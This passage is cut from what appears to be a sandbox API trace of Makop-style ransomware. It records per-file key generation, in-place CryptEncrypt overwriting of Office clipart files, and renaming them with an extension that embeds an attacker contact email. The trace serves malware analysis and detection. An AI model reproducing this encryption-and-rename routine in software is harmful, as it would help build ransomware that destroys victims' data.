hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.993] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.993] GetProcessHeap () returned 0x48a0000 [0126.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.993] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.993] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.993] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.993] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.994] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.994] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.994] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.994] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b2e, lpOverlapped=0x0) returned 1 [0126.996] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b30) returned 1 [0126.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3b30, lpOverlapped=0x0) returned 1 [0126.996] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.997] SetEndOfFile (hFile=0xf0) returned 1 [0127.003] GetProcessHeap () returned 0x48a0000 [0127.004] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.004] GetProcessHeap () returned 0x48a0000 [0127.004] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.004] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.005] CloseHandle (hObject=0xf0) returned 1 [0127.005] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0127.005] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0127.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.006] GetProcessHeap () returned 0x48a0000 [0127.006] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.006] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0127.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.011] GetProcessHeap () returned 0x48a0000 [0127.011] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.011] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.011] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.012] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.012] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.013] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e8e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e8e, lpOverlapped=0x0) returned 1 [0127.014] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e90, dwBufLen=0x1e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e90) returned 1 [0127.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e90, lpOverlapped=0x0) returned 1 [0127.015] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.015] SetEndOfFile (hFile=0xf0) returned 1 [0127.021] GetProcessHeap () returned 0x48a0000 [0127.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.022] GetProcessHeap () returned 0x48a0000 [0127.022] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.022] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.023] CloseHandle (hObject=0xf0) returned 1 [0127.024] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0127.024] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0127.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.025] GetProcessHeap () returned 0x48a0000 [0127.025] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.025] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0127.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.029] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.029] GetProcessHeap () returned 0x48a0000 [0127.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.030] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.031] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.031] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.031] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ed2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3ed2, lpOverlapped=0x0) returned 1 [0127.032] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ee0, dwBufLen=0x3ee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ee0) returned 1 [0127.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ee0, lpOverlapped=0x0) returned 1 [0127.033] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.033] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.033] SetEndOfFile (hFile=0xf0) returned 1 [0127.040] GetProcessHeap () returned 0x48a0000 [0127.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.040] GetProcessHeap () returned 0x48a0000 [0127.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.041] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.042] CloseHandle (hObject=0xf0) returned 1 [0127.042] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0127.042] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0127.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.044] GetProcessHeap () returned 0x48a0000 [0127.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.045] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.050] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.050] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.050] GetProcessHeap () returned 0x48a0000 [0127.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.052] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.052] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.052] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x745c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x745c, lpOverlapped=0x0) returned 1 [0127.054] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7460, dwBufLen=0x7460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7460) returned 1 [0127.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7460, lpOverlapped=0x0) returned 1 [0127.055] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.055] SetEndOfFile (hFile=0xf0) returned 1 [0127.063] GetProcessHeap () returned 0x48a0000 [0127.063] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.063] GetProcessHeap () returned 0x48a0000 [0127.063] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.063] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.066] CloseHandle (hObject=0xf0) returned 1 [0127.066] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0127.066] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0127.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.067] GetProcessHeap () returned 0x48a0000 [0127.067] RtlAllocateHeap 